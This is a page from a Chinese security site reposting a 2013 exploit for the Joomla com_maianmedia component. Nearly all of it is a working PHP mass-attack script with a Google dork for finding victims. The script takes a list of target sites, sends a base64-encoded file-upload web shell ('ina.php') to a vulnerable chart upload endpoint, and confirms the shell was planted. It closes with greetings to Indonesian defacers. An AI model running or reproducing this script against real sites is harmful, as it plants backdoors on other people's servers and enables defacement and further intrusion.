首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla Component com_maianmedia Remote Code Execution
来源:vfocus.net 作者:indexphp 发布时间:2013-10-24  
#######################################################
# Exploit Title: Joomla Component com_maianmedia Remote Code Execution
# Google Dork: inurl:index.php?option=com_maianmedia
# Exploit Author: Index Php
# Tested on: Windows, PHP 5.2
#######################################################
#exploit
<form method='POST'>
<input type='text' name='name' value='ina.php'>
<input type='submit' value='Hajar' name='hajar'><br>
<textarea name='situs' cols='45' rows='15'>http://target.com/</textarea>
</form>
<?
        @set_time_limit(0);
        $site = explode("\r\n", $_POST['situs']);
        $namafile = $_POST['name'];
        $path = array('/administrator/components/com_maianmedia/charts/php-ofc-library/ofc_upload_image.php');
          
        $nama = array("/administrator/components/com_maianmedia/charts/tmp-upload-images/");
          
        $uploader = base64_decode("PD9waHANCmVjaG8gJzx0aXRsZT5VcGxvYWQgRmlsZXMgSW5kb25lc2lhbiBEZWZhY2VyIHwgaW5hLnBocDwvdGl0bGU+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgQmVyaGFzaWwgISEhPC9iPjxicj48YnI+JzsgfQ0KCWVsc2UgeyBlY2hvICc8Yj5VcGxvYWQgR2FnYWwgISEhPC9iPjxicj48YnI+JzsgfQ0KfQ0KPz4=");
          
        $options = array('http' => array('method'=> "POST",'header'=> "Content-type: text/plain\r\n", 'content'=> $uploader));
        $context = stream_context_create($options);
          
        if($_POST['hajar'])
        {
                foreach($site as $situs)
                {
                        foreach($path as $upload)
                        {
                                $fopen = @fopen("{$situs}{$upload}?name={$namafile}", 'r', false, $context);
                        }
                        foreach($nama as $namas)
                        {
                                $url = "{$situs}{$namas}{$namafile}";
                                $check = @file_get_contents($url);
                                if(eregi("ina.php", $check))
                                {
                                        echo "<font face='Tahoma' size='2'>[+] Exploit Sukses => {$situs}/{$namas}/{$namafile} <br />";
                                        flush();
                                }
                        }
                }
        }
        echo "<font face='Tahoma' size='2'>[+] greetz d3b~X - Hmei7 - SultanHaikal and all Indonesian Defacer</font>";
?>
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·EMC Replication Manager Comman
·Symantec Workspace Streaming 7
·Windows Management Instrumenta
·Photodex ProShow Producer 5.0.
·D-Link DIR-605L Captcha Handli
·FortKnox Personal Firewall 9.0
·Interactive Graphical SCADA Sy
·Open Flash Chart 2 Arbitrary F
·HP Intelligent Management Cent
·VideoCharge Studio 2.12.3.685
·FiberHome Modem Router HG-110
·BlazeDVD 6.2 (.plf) - Buffer O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved